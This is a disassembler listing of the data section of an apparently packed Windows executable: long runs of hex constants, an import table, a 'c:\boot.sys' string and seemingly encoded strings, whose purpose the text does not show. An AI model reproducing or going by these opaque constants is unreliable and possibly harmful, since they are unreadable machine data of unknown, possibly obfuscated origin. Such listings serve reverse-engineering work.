0EB3C7C74h, 4B77EDCFh, 3D743E75h, 77147255h dd 29C28B02h, 0BB76E06h dd 13D02BDFh, 0A4EB9704h, 1BA0744Dh, 172B7610h, 4EFD686h dd 3DD2F3DBh, 368DB6Bh, 0CD4D9ADh, 1229CB27h, 18AB9AB4h dd 202CC22Ah, 86DABB48h, 37110115h, 0B54B4E86h, 0CAAAC243h dd 46658714h, 0BDAB1F6Fh, 59066A57h, 56FE8B14h, 10E340B8h dd 0D2991B4h, 0CD6ACC2Dh, 6DC4A3EEh, 156614A0h, 12B302B6h dd 241E088h, 50D75062h, 29C533Ch, 6FCC0CEEh, 7E8D1EFEh dd 1FD06608h, 465459C0h, 568AE8EBh, 7ADB8069h, 0E52ECE0Fh dd 0E7BD3114h, 61DD6CCh, 6820F454h, 642DD81Eh, 619DB0CFh dd 6500101Dh, 4036A91Ah, 0BDEE5A55h, 462D54B4h, 0FE34FD6Fh dd 8CA02CB7h, 0F39FF98Ch, 54D6ED6Fh, 0F9D19AB8h, 0DA75273Fh dd 78EC03Eh, 513C5F82h, 0D4B85393h, 37170E42h, 0BC575BABh dd 721B6ABAh, 87B249BEh, 3F736DFh, 0F9190B68h, 20B1FC0h dd 46473C8Ch, 0C800D2C4h, 0FC18888Eh, 0CB85CC8Ch, 0C68DED02h dd 36B3F803h, 1A24C19Ch, 61B456Ch, 1781BD63h, 27D19A3Fh dd 7E4D7701h, 908B4298h, 0BD40B06Fh, 830C33FBh, 0E9F714C1h dd 0A8F1B6CDh, 0F458853h, 3314756Eh, 7DB38447h, 4D8A7447h dd 32A4170Fh, 7031F620h, 0B1AE6225h, 6BED052h, 646D80B8h dd 0A38109B3h, 0B2701F29h, 7982FB1Dh, 0CE49E80Ch, 94BE43D1h dd 5B535241h, 55746A70h, 0B1B9E0A4h, 9E147E08h, 6D5BBAF8h dd 0C4201CD0h, 23F61122h, 2B762060h, 0D8C7E0E8h, 80180305h dd 1E89EF17h, 0F02F6CE5h, 8E9076C0h, 0B771FB3Bh, 247B7D1h dd 8F7BE39Ah, 9F8B2B54h, 97CCFD5Ah, 887880Ch, 0D83B0B02h dd 351EF012h, 19EA2223h, 64D42846h, 1AF54BECh, 424C22F3h dd 531F8021h, 735B3320h, 96830111h, 819C0885h, 1C068158h dd 16D1D043h, 4D99B362h, 0D4BD1E4Bh, 46464646h, 0DC94D8FCh dd 46F6161Fh, 0A5CBB30Dh, 0EFBD8D69h, 0C78BBF61h, 8BC54D89h dd 5BBBF18h, 0A25781A3h, 0EC65CC7Eh, 9411A508h, 37893DCAh dd 9D6F263Eh, 1A496C1Bh, 0B602EC0Fh, 0AB6831FFh, 61135B3h dd 0FFF04150h, 0FB6C5EF7h, 0A2278303h, 0A559F093h, 88403FBFh dd 53ABB739h, 0FFFFFE1Ah, 21B30833h, 249F4A8Ah, 43850A90h dd 0C64657E9h, 0B054212Dh, 171F99EBh, 970E016Dh, 6D3F88B2h dd 1E3A3175h, 898A4805h, 516CC689h, 8BF54848h, 7992FFEDh dd 0BF0246E2h, 30306B38h, 0EE6BD78Ah, 5063435h, 768A810Ch dd 0CF0AD939h, 3F3BB3Ch, 0E11C231Ch, 0FE565ADEh, 0A3AC6A05h dd 933B7593h, 1B3140A1h, 0B451329h, 14A30820h, 0FBAD46CEh dd 234BC38Bh, 3CA692C1h, 0A1367014h, 0FBC3946Ch, 42B66C2Eh dd 0A1728AE7h, 0DA043D8Ah, 0F6C4CD86h, 8B8AD04Bh, 6054F2h dd 655CE133h, 806FC34Ah, 90494C35h, 0D9884D38h, 0C7DE27B0h dd 30234E06h, 660F73Fh, 0F5528101h, 18363C05h, 45C72011h dd 3240C362h, 0F48880C0h, 0EBA21A4Ch, 8C47C7B0h, 83659159h dd 1C4D6C12h, 2F6D872h, 3C740F0Ah, 0DAB3C212h, 0E106B57h dd 0E03CCD96h, 74F8083h, 1E0E85D8h, 7B830B4Dh, 8540B94h dd 8F547C0Fh, 0E7931EE8h, 1BBBBE2Dh, 35750252h, 19741005h dd 831247F6h, 9E00BD0Bh, 5C6A1075h, 0C530087Bh, 66BBB86Ah dd 758FA7F3h, 539A570Ah, 163145Ah, 570228C0h, 0B2585232h dd 0D0D12961h, 39D37B2Ch, 7401D0C6h, 0CC868B71h, 4BEC6419h dd 8D534F27h, 86CBCD9Eh, 19192190h, 0EF86868Eh, 960E464Eh dd 1545BCBh, 0B1571375h, 56AC5D25h, 0AB04ACB6h, 5428E6E7h dd 0CC057B01h, 91919102h, 0DCC4C891h, 919191BCh, 0C0B4B891h dd 919981D0h, 0E0D8D491h, 0C9452800h, 0E200FFC8h, 9EE886EDh dd 0BAE904h, 235686F0h, 2170BFC2h, 0BA01FB36h, 8B0E5A4Dh dd 0C6033C70h, 1C8DB454h, 100641BCh, 0C2D16F00h, 0EB386ED7h dd 1635EE0h, 0BADD221Ah, 901426FCh, 0F17C0B17h, 7D7A4A76h dd 0E87F071Dh, 37FFADEh, 8A188AC2h, 751E3ACBh, 30C9841Ah dd 0C01588Ah, 15BB715Eh, 46905D50h, 0E2751146h, 7605A3FFh dd 401B05CFh, 831B4FD8h, 83022045h, 8B42A681h, 96723CC7h dd 57C5FC3Bh, 0BC727AB3h, 20EE4A33h, 8FF06A2Dh, 0B70F0CADh dd 8DF22B00h, 82D4455Dh, 630B5B8h, 0AA4EDF81h, 53FA2BDAh dd 6164410Ch, 0C8003170h, 13F452B5h, 0D60F0403h, 3BA5FB0Eh dd 6F636F74h, 1244176Ch, 0F4533019h, 42671752h, 0C16778F1h dd 94D55677h, 0EBC4B4Dh, 2BBEC648h, 0CA94091h, 2A02811Dh dd 87F4E456h, 0B0BED557h, 16387870h, 0ECF20320h, 2D0B157Ah dd 8B244E75h, 0FA74032Ch, 0DFA3A05Dh, 0FEC5DB0h, 3F53C320h dd 220F4FFFh, 6B621601h, 20510F48h, 4BD45076h, 9E9E56C1h dd 2D346883h, 3EA96A38h, 311A57DAh, 0F3481CA3h, 205D12B0h dd 20481694h, 141C85CFh, 7C8760C2h, 0EC187217h, 47A37862h dd 3E50CEB3h, 88895B92h, 5E2B66B5h, 1227105h, 0DE210E23h dd 745FFB67h, 0E91807F1h, 63BB2FA1h, 95C76F14h, 3D24053Fh dd 5BF7505Ch, 454400D1h, 690076h, 895C0763h, 876DDDC2h dd 730B64h, 0D7AE0772h, 611B9B75h, 1D6D030Bh, 1B720374h dd 203C5D63h, 3B558CDFh, 8DC11763h, 6E651F74h, 7D179B21h dd 49506DCFh, 752EDh, 0B6426F63h, 6937CC0Dh, 0B3275C0Dh dd 0A9119440h, 3218866Ch, 0F0D0BDB4h, 2EA8685Ch, 0E25E5009h dd 0DA186809h, 2153B281h, 5606D4F7h, 1C4B5012h, 865A2826h dd 8308E25Ah, 0F6ADDA95h, 70D85B7h, 22C4AA58h, 5153944Dh dd 6F3BFC68h, 9476D6EEh, 9C889820h, 0B0060DC8h, 0E46206FEh dd 14B43EE6h, 0E0B8142Fh, 0DB2DB6C0h, 0CC288FF6h, 57D4D002h dd 880C7E20h, 68E83EE6h, 79402F0Ch, 0C41B2F73h, 1E241816h dd 6A38568Bh, 0E21501DEh, 46FA8B1Bh, 1AB859A1h, 6F0DE007h dd 0B8F716D1h, 5E920920h, 70028934h, 0F25E8BF5h, 4B868940h dd 63547846h, 0FA22C115h, 0CEFFB894h, 687447EEh, 6CA30458h dd 0B8D6FF0Eh, 0F3C88648h, 4C50157Ch, 0F41CEA48h, 6A53C1D0h dd 0ECF329CCh, 3D736F4Dh, 96595183h, 34402FF3h, 51F1F068h dd 0AC4F076h, 0A012F098h, 53140D0Fh, 0D97A32D4h, 12D84A06h dd 301330CCh, 1D65E533h, 30E0C303h, 2A345644h, 0B4C9A030h dd 64FD2B02h, 1C81F50h, 53D3654Bh, 4C6E6970h, 51ADEA0Ch dd 1211774h, 0AEFEFB49h, 7953FEDDh, 1C6F626Dh, 171A4C63h dd 74520394h, 8975516Ch, 0DB6B36Ah, 61074979h, 0ED925508h dd 431B3173h, 0B677A895h, 565C642Bh, 6DAD542Bh, 2D496450h dd 0AA6B2916h, 669566FEh, 706D6F43h, 7164656Ch, 1B92DB3Eh dd 0F7F395h, 0C6C06342h, 5A4A68A0h, 0F6B517FAh, 6E49F24Dh dd 3C455D37h, 0FAA1257Eh, 2D75E85h, 6B957350h, 27B3B09Fh dd 6F5422BDh, 8D1B6E41h, 0E65176Bh, 644DEA33h, 0B6C7BFF2h dd 4D024E7Eh, 4CEC4D6Dh, 6761506Bh, 0A802BAD7h, 4FE07B9Ah dd 661E6662h, 585E7E03h, 17D44DB3h, 421452B5h, 0CEDAA179h dd 14541AAh, 0C355EE78h, 5417D9F6h, 0F9137079h, 0FF955369h dd 1A05186Dh, 726B736Fh, 652E6C6Eh, 0D6E12E78h, 664BB536h dd 7361384Bh, 73364F82h, 4113EFC9h, 69757163h, 77085072h dd 0DEDB42EDh, 71724973h, 3E0D48ADh, 0BB336961h, 0D7B70B6h dd 0A37044D4h, 41175D65h, 7C08B14Ch, 0C1749551h, 6764B5DBh dd 1176AD55h, 0A95B22DCh, 5074E2DAh, 0CC27158Bh, 0FEA870DDh dd 667542BDh, 81C819D4h, 332CE425h, 0E496029h, 45725F4Bh dd 6DEA8D0Ch, 63724100h dd 0F685C5BDh, 0BAA3D6DAh, 0EF33226Eh, 0BC2AAB36h, 0AE69B7h dd 0A033011Fh, 0CF6C3DE4h, 4136E55Ah, 256F4274h, 2D92B726h dd 2B959980h, 8DDD662Bh, 70566548h, 156D3C79h, 15876422h dd 0F9751D14h, 891F491Ah, 59532E0Dh, 4AC8A153h, 8901D5F1h dd 2D17B618h, 1E69007h, 48041930h, 14B2C95Bh, 1304C04Fh dd 53C0D743h, 5F9D56B4h, 0CDED4505h, 5340D034h, 5FB34FABh dd 0FE788B05h, 4F0B46B9h, 0FEEF04BDh, 26C36D03h, 75D452Bh dd 0B4EF473Fh, 19017210h, 1D733163h, 744F6C34h, 6735697Bh dd 839B074Dh, 0D6C61AEh, 2B660D49h, 0B1BC4023h, 34B93BAEh dd 62073903h, 75D064C7h, 171E751Dh, 736D2343h, 0C80D14B0h dd 61812073h, 7418C188h, 20AF6B61h, 0F74D339Bh, 6307D13Dh dd 79206F11h, 0E0C43D92h, 1407CF76h, 0DC0CC153h, 79533DF6h dd 375DF34Fh, 54CF9DD6h, 6E2D4B33h, 520D6C05h, 7BAE066h dd 137531C3h, 0E61D8DCFh, 4715119Eh, 631544CBh, 8DD74494h dd 69797069h, 5B1F6E2Dh, 49B6F759h, 65215168h, 89055399h dd 36B901h, 5881560Bh, 4B971C2Bh, 585EF32h, 0C8D8F307h dd 2E373135h, 0C44F0700h, 74B06665h, 6ED561B7h, 90B6EBAFh dd 2F2971E7h, 29671B4Ch, 0EEB1B84h, 8D79930Dh, 1021A367h dd 13D9ECAEh, 0EB061B20h, 15A9BA1Ah, 530BF32h, 6233092Dh dd 9B8ACEC2h, 3054770Ch, 6DC62F0Dh, 72C75164h, 0B38F7426h dd 7D29576Fh, 8D830B6Bh, 1FD5CC34h, 69934F3Eh, 66126C09h dd 0EF6E2FE7h, 0BAC1A461h, 5779072Eh, 75500D20h, 6C6E7C7h dd 0B9425761h, 0C46F643Fh, 5C48BEE8h, 750F6F1Fh, 8CA2EF43h dd 3A774525h, 212308BBh, 0DFE15B64h, 46CEE7DEh, 5F7553B7h dd 61D2F569h, 44B7C26Ch, 5D43561Fh, 56E88709h, 6D842400h dd 0B6E8C27Ah, 611F7315h, 0B00409A3h, 0CD90337Fh, 80A80315h dd 0D034C433h, 0D55BDF34h, 0EE34FFFFh, 1B350F34h, 39352A35h dd 0D135A635h, 0E035D735h, 6FFA32A7h, 6B36FF55h, 9B368A36h dd 1099A436h, 1C378A37h, 0FF384638h, 3A17FFFFh, 38C3385Fh dd 38FE38E2h, 39383928h, 394B3945h, 39B63965h, 39E639D3h dd 0FFFF39F9h, 3A39FFFFh, 3A473A40h, 3A553A4Eh, 3A633A5Ch dd 3A713A6Ah, 3A903A78h, 3AA83A9Fh, 3AF43AB1h, 0FFFF3B08h dd 3B10FFFFh, 3B763B15h, 3C0C3B7Eh, 3C8C3C72h, 3D093C9Fh dd 3DB03D31h, 3E3A3DB9h, 3E973E80h, 0AF8B3E9Eh, 3EBEFFFFh dd 3F353F04h, 3F623F4Ch, 3F7D3F6Eh, 84F93FF0h, 0FFF27B10h dd 20C066FFh, 11310530h, 39312A31h, 78316C31h, 98318931h dd 2320C31h, 23FFFFC0h, 44332B33h, 0E333C233h, 13340B33h dd 29341834h, 0FFDDFF8Fh, 0C13458FFh, 0FB34F334h, 29352134h dd 81352E35h, 0E5CB8935h, 0FD35F335h, 23361635h, 0FFF77F46h dd 39363036h, 58364136h, 82367C36h, 0DD36BADBh, 53384E36h dd 0FFFFFF0Eh, 387D38FFh, 38B13890h, 39B1393Eh, 3A223A17h dd 3A683A5Eh, 3AE83AC6h, 3B283B1Dh, 3B853B7Ch, 0FFFBBFB7h dd 3C073BFEh, 3C703C68h, 3C803C76h, 3CE7B988h, 3D5D3D50h dd 453E2E34h, 0FFFFFFFEh, 503E4A3Eh, 6E3E573Eh, 0CD3E783Eh dd 613EDE3Eh, 853F6C3Fh, 0BF3F933Fh, 0DB3FCA3Fh, 0FF3FE93Fh dd 0E81EEFFFh, 304CBFF4h, 30D93089h, 30F630DEh, 313A30FDh dd 315B3141h, 2F103164h, 3194FFF4h, 31A8319Fh, 31F231ADh dd 353F31F8h, 0FE1B1632h, 0C39E1ADFh, 34BA34AAh, 34D734CBh dd 8D203508h, 3780356Eh, 3586FE00h, 35A535A0h, 37482778h dd 0EDF00076h, 380E0F0Dh, 5038A72Ch, 0B7FF6838h, 0CB51BFFFh dd 19391438h, 26392039h, 34392C39h, 39610039h, 39853976h dd 399F398Dh, 0EE0B001Bh, 0CBAC39A7h, 0ED17D099h, 0FD5BFE00h dd 0FA39F539h, 3A4BFF39h, 3A183A10h, 0FF743A1Eh, 1937FFFFh dd 3B423AB3h, 3B813B73h, 3BAE3BA8h, 3BBA3BB4h, 3BC63BC0h dd 3BD23BCCh, 2FFF3BD8h, 3BDEFFFDh, 3BEA3BE4h, 3DA23BF0h dd 3DF33DEEh, 143E0FA0h, 303E213Eh, 423E353Eh, 0FFFFC006h dd 563E513Eh, 723E603Eh, 893E813Eh, 3D3E903Eh, 0C02B473Fh dd 83F001BFh, 0A629913Fh, 0C43FBC3Fh, 19FFD53Fh, 0F32D06DBh dd 15DF30F3h, 1F301A30h, 0F8242430h, 2930EDB7h, 0F5350030h dd 65303F30h, 1F306A30h, 9EC7E6h, 4931424Eh, 40601997h dd 1A2FA06h, 4473458Dh, 49FE73F8h, 706802ECh, 3220FB6Bh dd 4B5C302Eh, 809E268Bh, 5C775C17h, 120F4F0h, 64705505h dd 95C4B162h, 0AA4EA704h, 0D43BFE77h, 42095A6Ah, 6174536Bh dd 5307472h, 72476F9Ch, 0D670756Fh, 0A41780Ah, 82C11FACh dd 0D7347405h, 50167618h, 0D55C7643h, 205B6E73h, 0D7000D01h dd 1ED709Fh, 6F977EDEh, 1D00BA1Dh, 903E08F6h, 575D155Ch dd 4640323Ch, 0FB590660h, 2A1F4523h, 0F6338008h, 177EFF85h dd 15197F18h, 1E285C66h, 7CF73B46h, 0F30AA423h, 3B2480E9h dd 4362FEE0h, 40101CF2h, 0C131800h, 61765468h, 73C6C9BEh dd 0E6A1114h, 813E4810h, 1028E054h, 0C2A90040h, 1448EE74h dd 0E7E04C1Bh, 5660A306h, 90F54C6h, 5AF736A3h, 20054910h dd 9C4F4004h, 67FB6405h, 20345931h, 4C9C64BDh, 0BE57F6C9h dd 0C6A49C9Ch, 0A481CF25h, 0F7D068C0h, 0D8799Fh, 683A6816h dd 0BE0A6ABBh, 0F3482394h, 8D597FDDh, 0A5F3AC7Dh, 0B84BEA4h dd 0A5D87D8Dh, 0B19E7CA5h, 0F5F0C11Bh, 0E80A74BEh, 76EBB76Ch dd 0E4A5F847h, 0A40B6468h, 99BEACE6h, 553E205Dh, 0C1692480h dd 0B0016A7Bh, 14EC7457h, 35196A0Fh, 9E2350Fh, 831FF89Bh dd 61C94CC4h, 0E19CCD92h, 6AF8DF08h, 6CD437F5h, 400544A6h dd 0F80D4A9h, 0F7617385h, 0EFBCBE9Dh, 96F26604h, 0F7BAFF00h dd 0C64420Eh, 14EC358Bh, 6767F4FEh, 1AD64630h, 47831903h dd 0C2EEBF78h, 3C305204h, 1105842Ah, 6159010Eh, 1E67D98Bh dd 39EC6859h, 1342A20h, 0F3C868h, 0AD7210FFh, 13DE1A7Ch dd 0EA60385Ah, 74C3640Ah, 76E0349Fh, 30AFD404h, 0EFEF112Eh dd 8D047B2Ch, 0FF68D68Dh, 562898D0h, 1DEFBF0Ah, 6C51204Dh dd 0B55FBBh, 0C0968B59h, 962A3635h, 144876A7h, 570950DDh dd 2D1E04B6h, 27D8DEAh, 80EFF33h, 0B45420F9h, 575DB023h dd 57B01D24h, 2057359h, 0CC51h, 0A0286016h, 41101B70h dd 3C61019Ch, 0C4061801h, 44015C21h, 80C03100h, 0BA0ABA42h dd 773E9384h, 310400F9h, 0A6922030h, 57908824h, 88040155h dd 10B2031h, 2090E292h, 1D4010Eh, 0B2C40656h, 20904C04h dd 6D3EE606h, 1212F125h, 41168844h, 0D25CD830h, 0B27B7DE3h dd 4456460Ah, 5580B667h, 8A368510h, 69C443ECh, 7301315Ch dd 165F2006h, 10C54h, 0E12F20F2h, 6E010F79h, 0B078D565h dd 80C122A0h, 5810CE2h, 21F8DF5h, 0E054840Ch, 837A744Eh dd 41957ACh, 96046817h, 0B05F5059h, 2EB906Ch, 206C510Ch dd 7B2CFD48h, 0BC000000h, 71BFh, 1200h, 0BE6000FFh, 406000h dd 0B000BE8Dh, 8357FFFFh, 10EBFFCDh, 90909090h, 68A9090h dd 47078846h, 775DB01h, 0EE831E8Bh, 72DB11FCh, 1B8EDh dd 0DB010000h, 1E8B0775h, 11FCEE83h, 1C011DBh, 75EF73DBh dd 831E8B09h, 0DB11FCEEh, 0C931E473h, 7203E883h, 8E0C10Dh dd 8346068Ah, 7474FFF0h, 0DB01C589h, 1E8B0775h, 11FCEE83h dd 1C911DBh, 8B0775DBh, 0FCEE831Eh, 0C911DB11h, 1412075h dd 8B0775DBh dd 0FCEE831Eh, 0C911DB11h, 0EF73DB01h, 1E8B0975h, 11FCEE83h dd 83E473DBh, 0FD8102C1h, 0FFFFF300h, 8D01D183h, 0FD832F14h dd 8A0F76FCh, 7884202h, 0F7754947h, 0FFFF63E9h, 28B90FFh dd 8904C283h, 4C78307h, 7704E983h, 0E9CF01F1h, 0FFFFFF4Ch dd 0B9F7895Eh, 11Ah, 2C47078Ah, 77013CE8h, 43F80F7h, 78BF275h dd 66045F8Ah, 0C108E8C1h, 0C48610C0h, 0EB80F829h, 89F001E8h dd 5C78307h, 0D9E2D889h, 7000BE8Dh, 78B0000h, 3C74C009h dd 8D045F8Bh, 90003084h, 0F3010000h, 8C78350h, 905096FFh dd 8A950000h, 0C0084707h, 0F989DC74h, 0AEF24857h, 5496FF55h dd 9000090h, 890774C0h, 4C38303h, 96FFE1EBh, 9058h, 0DF61E961h dd 0FFFFh, 25h dup(0) dd 0A0700000h, 0A0500000h, 3 dup(0) dd 0A07D0000h, 0A0600000h, 3 dup(0) dd 0A08A0000h, 0A0680000h, 5 dup(0) dd 0A0940000h, 0A0A20000h, 0A0B20000h, 0 dd 0A0C00000h, 0 dd 0A0CE0000h, 0 dd 454B0000h, 4C454E52h, 442E3233h, 41004C4Ch, 50415644h dd 2E323349h, 6C6C64h, 4356534Dh, 642E5452h, 6C6Ch, 64616F4Ch dd 7262694Ch, 41797261h, 65470000h, 6F725074h, 64644163h dd 73736572h, 78450000h, 72507469h, 7365636Fh, 73h, 43676552h dd 65736F6Ch, 79654Bh, 61720000h, 646Eh, 4Bh dup(0) dd 8, 11h dword_446484 dd 40h ; DATA XREF: sub_4083E6+Dr ; sub_4083E6:loc_40840Cr ... word_446488 dw 2Ch ; DATA XREF: sub_408477+Cr aMcVdB db 'Mc d+B',0 ; DATA XREF: sub_408477+1Fo word_446492 dw 4Ah ; DATA XREF: sub_408477+27r dword_446494 dd 44237Ah ; DATA XREF: sub_408477+A4r word_446498 dw 70h ; DATA XREF: sub_408477+FCr aCBoot_sys db 'c:\boot.sys',0 ; DATA XREF: sub_408585+44o aU09 db 'u0 9',0 ; DATA XREF: sub_408585+13Do align 4 dword_4464AC dd 11h, 0Fh dup(0) ; DATA XREF: sub_40886E+Eo dword_4464EC dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h ; DATA XREF: sub_40886E+9o dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh, 280E85D5h dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h, 14F80518h dd 6E0637BFh, 1, 0Eh dword_446534 dd 0 ; DATA XREF: .text:004086EAr ; .text:loc_408703r ... word_446538 dw 7Eh ; DATA XREF: sub_40876F+8r aRgjf db '~ rGjf',0 ; DATA XREF: sub_40876F+28o align 8 dword_446548 dd 0Dh ; DATA XREF: sub_408896+E6r dword_44654C dd 0 ; DATA XREF: .text:004087E4r ; .text:loc_4087FDr ... dword_446550 dd 206A37h ; DATA XREF: sub_408896+11r byte_446554 db 0 ; DATA XREF: sub_408896+21o aE4Y db 'e4',27h,'Y',0 ; DATA XREF: sub_408896+CDo align 4 dd 2, 11h dword_446564 dd 0 ; DATA XREF: .text:004089B2r ; .text:loc_4089CBr ... dword_446568 dd 0FFFFFFFFh ; DATA XREF: sub_408A3D+42r dd 2Ah dup(0FFFFFFFFh), 3Eh, 3 dup(0FFFFFFFFh), 3Fh, 34h dd 35h, 36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh, 7 dup(0FFFFFFFFh) dd 0 dd 1, 2, 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh dd 0Fh, 10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h, 18h, 19h dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh, 1Ch, 1Dh, 1Eh, 1Fh, 20h dd 21h, 22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h, 2Ah, 2Bh dd 2Ch, 2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh) off_446968 dd offset loc_408ACF ; DATA XREF: sub_408A3D+86r dd offset loc_408AE8 dd offset loc_408B19 dd offset loc_408B3C dd 8 dword_44697C dd 10h ; DATA XREF: sub_408C17+5Ar dword_446980 dd 0 ; DATA XREF: sub_408B8B+Dr ; sub_408B8B:loc_408BB1r ... dword_446984 dd 504641h ; DATA XREF: sub_408C17+17r byte_446988 db 65h, 3Ch, 0 ; DATA XREF: sub_408C17+CEo aKm1akw db 'KM1Akw',0 ; DATA XREF: sub_408C17+153o word_446992 dw 2627h ; DATA XREF: sub_408C17+1BDo dd 377F68h byte_446998 db 20h, 23h, 0 ; DATA XREF: sub_408C17+30Bo dword_44699B dd 7F6924h ; DATA XREF: sub_408C17+323r dword_44699F dd 69586Eh ; DATA XREF: sub_408F56+3Br aE8i db 'e|8I ',0 ; DATA XREF: sub_408FEB+12o aBvcT4 db 'bc$t4',0 ; DATA XREF: sub_408FEB+110o aAFqkY db 'a*FQk~y',0 ; DATA XREF: sub_408FEB+242o aTbF db 't F',0 ; DATA XREF: sub_408FEB+333o asc_4469BD db '::',0 ; DATA XREF: sub_408FEB+365o aC7iO db 'c7i!~~O',0 ; DATA XREF: sub_408FEB+42Eo dword_4469C8 dd 714768h ; DATA XREF: sub_408FEB+6DDr dword_4469CC dd 677180h ; DATA XREF: sub_408FEB+77Fr aBNB db '*N;',0 ; DATA XREF: sub_408FEB+884o word_4469D6 dw 41h ; DATA XREF: sub_408FEB+9A8r byte_4469D8 db 66h, 37h, 0 ; DATA XREF: sub_408FEB+A06o word_4469DB dw 42h ; DATA XREF: sub_409A96+15r word_4469DD dw 20h ; DATA XREF: sub_409A96+22r byte_4469DF db 0 ; DATA XREF: sub_409A96+35o dword_4469E0 dd 4B7F4335h ; DATA XREF: sub_409A96+46o db 75h, 0 dword_4469E6 dd 5A647Ah ; DATA XREF: sub_409A96+60r word_4469EA dw 6Bh ; DATA XREF: sub_409A96:loc_409B01r aJsvquX db 'jsvQu&x',0 ; DATA XREF: sub_409A96+C0o byte_4469F4 db 0 ; DATA XREF: sub_409A96+F4o aWgV db 'Wg/v',0 ; DATA XREF: sub_409A96+1F4o aVH db '-V,H',0 ; DATA XREF: sub_409A96+207o aPPd db 'P Pd',0 ; DATA XREF: sub_409A96+3F0o dword_446A04 dd 3E3951h ; DATA XREF: sub_409A96+4C2r word_446A08 dw 34h ; DATA XREF: sub_409A96+53Cr word_446A0A dw 4220h ; DATA XREF: sub_409A96+5F4o db 0 byte_446A0D db 58h, 60h, 0 ; DATA XREF: sub_409A96+6E5o aNS6r db 'N s6r<`',0 ; DATA XREF: sub_409A96+742o aWxRcnn db 'WX!rcNN',0 ; DATA XREF: sub_409A96+7D0o aFldF db 'FLd^F',0 ; DATA XREF: sub_409A96+7EFo byte_446A26 db 0 ; DATA XREF: sub_409A96+899o aAgwb db 'AGwB',0 ; DATA XREF: sub_409A96+93Ao aMmv9nnh db 'MM9NNH',0 ; DATA XREF: sub_409A96+9C3o aYZh db 'y+Zh',0 ; DATA XREF: sub_409A96+9E0o dword_446A39 dd 5F782Eh ; DATA XREF: sub_409A96+AA3r aYq2y db 'yq:2y',0 ; DATA XREF: sub_409A96+B19o word_446A43 dw 2Fh ; DATA XREF: sub_409A96+BA1r aTAsj db 't ASJ,%',0 ; DATA XREF: sub_409A96+BF7o aOat? db '|oat*?',0 ; DATA XREF: sub_409A96+C0Ao a36 db '/36,',0 ; DATA XREF: sub_409A96+F80o aYeJ db 'yE J',0 ; DATA XREF: sub_409A96+FDBo a2F db '2! f <',0 ; DATA XREF: sub_40AB84+12o dword_446A65 dd 3F2743h ; DATA XREF: sub_40AB84+29r a@63M db '@63!m/#',0 ; DATA XREF: sub_40AB84+109o a@7sHkf db '@7s hKf',0 ; DATA XREF: sub_40AB84+16Fo a2A db '2=$-a',0 ; DATA XREF: sub_40AB84+1EBo dword_446A7F dd 407475h ; DATA XREF: sub_40AB84:loc_40AD7Dr aNpy4 db ' NPy4/#',0 ; DATA XREF: sub_40AB84+20Ao byte_446A8B db 0 ; DATA XREF: sub_40AB84+288o a8s db '%8s ',0 ; DATA XREF: sub_40AB84+2A9o aAlnb db '<alNB',0 ; DATA XREF: sub_40AB84+5D0o aE db ' E',0 ; DATA XREF: sub_40AB84+630o aGxVY db 'X= <Y',0 ; DATA XREF: sub_40AB84+653o aLke4me db ' lkE4me',0 ; DATA XREF: sub_40AB84+6FCo word_446AAA dw 20h ; DATA XREF: sub_40B3C6:loc_40B3FAr aEHzR db 'E|hz!R',0 ; DATA XREF: sub_40B3C6+86o aPeck db ' PEck',0 ; DATA XREF: sub_40B3C6+D5o aQ_0 db '-Q',0 ; DATA XREF: sub_40B3C6+10Bo aFr0Im db 'fR0~Im',0 ; DATA XREF: sub_40B525+7Do aQXsq db '/ q#xsq',0 ; DATA XREF: sub_40B525+F0o byte_446ACB db 0 ; DATA XREF: sub_40B525+33Bo word_446ACC dw 83h ; DATA XREF: sub_40B525+367r off_446ACE dd offset loc_4059FB+5 ; DATA XREF: sub_40B525+391o ; sub_40B525+3CBo dword_446AD2 dd 67762Eh ; DATA XREF: sub_40B525+422r dword_446AD6 dd 37784Ch ; DATA XREF: sub_40B525+444r aYrJ4? db 'yR j4?',0 ; DATA XREF: sub_40B525+4A3o byte_446AE1 db 0 ; DATA XREF: sub_40B525+523o a_Wqj db '. wQj',0 ; DATA XREF: sub_40B525+5B3o aE?qK db 'e* ?Q k',0 ; DATA XREF: sub_40B525+638o word_446AF0 dw 5Fh ; DATA XREF: sub_40B525+8B4r align 4 byte_446AF4 db 0B7h, 0 ; DATA XREF: sub_40B525+886o word_446AF6 dw 0BDBAh ; DATA XREF: sub_40B525+79Co db 0 aTCC db 'җؗ',0 ; DATA XREF: sub_40B525+6B0o byte_446B0D db 0E2h, 0D9h, 0D6h ; DATA XREF: sub_40B525+69Eo dd 97D2DBD5h, 0D697D8C3h, 0D8DFC3C2h, 0D2CDDEC5h, 0FE979A97h dd 0E5F8F4F9h, 0E3F4F2E5h, 0F9FEE797h, 0DBE79799h, 0D2C4D6D2h dd 0D8D4979Bh, 0D4D2C5C5h db 0C3h, 99h, 0 aTT db 'Ě',0 ; DATA XREF: sub_40B525+4B7o byte_446B49 db 0E7h, 0DBh, 0D2h ; DATA XREF: sub_40B525+45Fo dd 9BD2C4D6h, 0DBD2C497h, 97C3D4D2h, 0DEC7CFF2h, 0DEC3D6C5h dd 0EE97D9D8h, 0C5D6D2h aTCt db 'ė',0 ; DATA XREF: sub_40B525+3FAo ; sub_40B525+6FFo word_446B6E dw 0DBE7h ; DATA XREF: sub_40B525+3ACo dd 0D2C4D6D2h, 0D2C4979Bh, 0C3D4D2DBh, 0C7CFF297h, 0C3D6C5DEh dd 97D9D8DEh, 0C3D9D8FAh db 0DFh, 0 word_446B8E dw 0C492h ; DATA XREF: sub_40B525+348o db 0 byte_446B91 db 0F4h, 0FBh, 0E4h ; DATA XREF: sub_40AB84+70Bo dd 92EBF3FEh, 0D9FEEBC4h, 0D4D8C5E7h, 0C1C5D2E4h, 8584C5D2h db 0 byte_446BA9 db 0E1h, 0 ; DATA XREF: sub_40AB84+6DAo byte_446BAB db 0FCh ; DATA XREF: sub_40AB84+6C1o db 0 byte_446BAD db 0E4h, 0D8h, 0D1h ; 